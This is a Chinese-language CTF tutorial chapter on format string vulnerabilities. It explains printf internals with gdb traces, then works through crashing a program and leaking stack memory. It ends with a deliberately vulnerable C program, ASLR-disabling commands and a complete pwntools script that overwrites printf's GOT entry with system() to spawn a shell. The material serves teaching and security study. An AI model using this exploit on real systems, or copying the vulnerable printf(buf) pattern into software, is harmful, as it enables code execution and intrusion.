CTF-All-In-One/doc/3.3.1_format_string.md
2017-08-23 20:36:52 +08:00

403 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 格式化字符串漏洞
- [格式化输出函数和格式字符串](#格式化输出函数和格式字符串)
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
- [格式化字符串漏洞](#格式化字符串漏洞)
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
## 格式化输出函数和格式字符串
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
#### 函数
```c
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
```
#### 转换指示符
字符 | 类型 | 使用
--- | --- | ---
d | 4-byte | Integer
u | 4-byte | Unsigned Integer
x | 4-byte | Hex
s | 4-byte ptr | String
c | 1-byte | Character
#### 长度
字符 | 类型 | 使用
--- | --- | ---
hh | 1-byte | char
h | 2-byte | short int
l | 4-byte | long int
ll | 8-byte | long long int
#### 示例
```
#include<stdio.h>
#include<stdlib.h>
void main() {
char *format = "%s";
char *arg1 = "Hello World!\n";
printf(format, arg1);
}
```
```c
printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
printf("%.2f", 1.2345); // 1.23
printf("%#010x", 3735928559); // 0xdeadbeef
printf("%s%n", "01234", &n); // n = 5
```
## 格式化字符串漏洞基本原理
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
```c
#include<stdio.h>
void main() {
printf("%s %d %s", "Hello World!", 233, "\n");
}
```
```text
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000053d <+0>: lea ecx,[esp+0x4]
0x00000541 <+4>: and esp,0xfffffff0
0x00000544 <+7>: push DWORD PTR [ecx-0x4]
0x00000547 <+10>: push ebp
0x00000548 <+11>: mov ebp,esp
0x0000054a <+13>: push ebx
0x0000054b <+14>: push ecx
0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
0x00000551 <+20>: add eax,0x1aaf
0x00000556 <+25>: lea edx,[eax-0x19f0]
0x0000055c <+31>: push edx
0x0000055d <+32>: push 0xe9
0x00000562 <+37>: lea edx,[eax-0x19ee]
0x00000568 <+43>: push edx
0x00000569 <+44>: lea edx,[eax-0x19e1]
0x0000056f <+50>: push edx
0x00000570 <+51>: mov ebx,eax
0x00000572 <+53>: call 0x3d0 <printf@plt>
0x00000577 <+58>: add esp,0x10
0x0000057a <+61>: nop
0x0000057b <+62>: lea esp,[ebp-0x8]
0x0000057e <+65>: pop ecx
0x0000057f <+66>: pop ebx
0x00000580 <+67>: pop ebp
0x00000581 <+68>: lea esp,[ecx-0x4]
0x00000584 <+71>: ret
End of assembler dump.
```
```text
gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0x56557000 --> 0x1efc
EBX: 0x56557000 --> 0x1efc
ECX: 0xffffd250 --> 0x1
EDX: 0x5655561f ("%s %d %s")
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555569 <main+44>: lea edx,[eax-0x19e1]
0x5655556f <main+50>: push edx
0x56555570 <main+51>: mov ebx,eax
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
0x56555577 <main+58>: add esp,0x10
0x5655557a <main+61>: nop
0x5655557b <main+62>: lea esp,[ebp-0x8]
0x5655557e <main+65>: pop ecx
Guessed arguments:
arg[0]: 0x5655561f ("%s %d %s")
arg[1]: 0x56555612 ("Hello World!")
arg[2]: 0xe9
arg[3]: 0x56555610 --> 0x6548000a ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
0008| 0xffffd228 --> 0xe9
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
0016| 0xffffd230 --> 0xffffd250 --> 0x1
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0x0
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555572 in main ()
```
```text
gdb-peda$ r
Continuing
Hello World! 233
[Inferior 1 (process 27416) exited with code 022]
```
根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的)
接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞:
```c
#include<stdio.h>
void main() {
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
}
```
反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:
```text
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x56557000 --> 0x1efc
EBX: 0x56557000 --> 0x1efc
ECX: 0xffffd250 --> 0x1
EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555569 <main+44>: lea edx,[eax-0x19e1]
0x5655556f <main+50>: push edx
0x56555570 <main+51>: mov ebx,eax
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
0x56555577 <main+58>: add esp,0x10
0x5655557a <main+61>: nop
0x5655557b <main+62>: lea esp,[ebp-0x8]
0x5655557e <main+65>: pop ecx
Guessed arguments:
arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
arg[1]: 0x56555612 ("Hello World!")
arg[2]: 0xe9
arg[3]: 0x56555610 --> 0x6548000a ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
0008| 0xffffd228 --> 0xe9
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
0016| 0xffffd230 --> 0xffffd250 --> 0x1
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0x0
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555572 in main ()
```
```text
gdb-peda$ c
Continuing.
Hello World! 233
ffffd250 0 0
[Inferior 1 (process 27480) exited with code 041]
```
这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c``\n` 的重用。
上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:
```c
#include<stdio.h>
void main() {
char buf[50];
if (fgets(buf, sizeof buf, stdin) == NULL)
return;
printf(buf);
}
```
```text
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1fa ("Hello %x %x %x !\n")
EBX: 0x56557000 --> 0x1ef8
ECX: 0xffffd1fa ("Hello %x %x %x !\n")
EDX: 0xf7f9685c --> 0x0
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555623 <main+70>: sub esp,0xc
0x56555626 <main+73>: lea eax,[ebp-0x3e]
0x56555629 <main+76>: push eax
=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
0x5655562f <main+82>: add esp,0x10
0x56555632 <main+85>: jmp 0x56555635 <main+88>
0x56555634 <main+87>: nop
0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
Guessed arguments:
arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
0004| 0xffffd1e4 --> 0x32 ('2')
0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
0016| 0xffffd1f0 --> 0xffffffff
0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
0024| 0xffffd1f8 --> 0x65485ea0
0028| 0xffffd1fc ("llo %x %x %x !\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x5655562a in main ()
```
```text
gdb-peda$ c
Continuing.
Hello 32 f7f95580 565555f4 !
[Inferior 1 (process 28253) exited normally]
```
如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n``fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。
我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:
- 为什么可以通过编译?
- 因为 `printf()` 函数的参数被定义为可变的。
- 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
- 有时格式字符串并不是固定的,它可能在程序执行中动态生成。
- `printf()` 函数自己可以发现不匹配吗?
- `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
## 格式化字符串漏洞
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
#### 使程序崩溃
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
利用类似下面的格式字符串即可触发漏洞:
```c
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
```
- 对于每一个 `%s``printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
- 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
#### 查看栈内容
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
#### 查看任意地址的内存
#### 覆盖栈内容
#### 覆盖任意地址内存
## CTF 中的格式化字符串漏洞
#### pwntools pwnlib.fmtster
文档地址http://pwntools.readthedocs.io/en/stable/fmtstr.html
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`
`FmtStr` 提供了自动化的字符串漏洞利用:
```python
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
```
- execute_fmt (function):与漏洞进程进行交互的函数
- offset (int):你控制的第一个格式化程序的偏移量
- padlen (int):在 paylod 之前添加的 pad 的大小
- numbwritten (int):已经写入的字节数
`fmtstr_payload` 用于自动生成格式化字符串 paylod
```python
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```
- offset (int):你控制的第一个格式化程序的偏移量
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byteshort 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写hhnhn或n
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
```c
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
```
为了简单一点,我们关闭 ASLR并使用下面的命令编译
```
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
```
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址:
```text
gdb-peda$ b main
...
gdb-peda$ r
...
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
```
完整漏洞利用代码如下:
```python
from pwn import *
elf = ELF('./a.out')
r = process('./a.out')
def exec_fmt(payload):
r.sendline(payload)
info = r.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print_got = elf.got['printf']
log.success("print_got => {}".format(hex(print_got)))
system_addr = 0xf7e17060
log.success("system_addr => {}".format(hex(system_addr)))
payload = fmtstr_payload(offset, {print_got : system_addr})
r.send(payload)
r.send('/bin/sh')
r.recv()
r.interactive()
```
这样就获得了 shell
```text
$ python2 exp.py
[*] '/home/firmy/Desktop/RE4B/a.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './a.out': pid 15698
[*] Found format string offset: 4
[+] print_got => 0x804a010
[+] system_addr => 0xf7e17060
[*] Switching to interactive mode
$ echo "hacked!"
hacked!
```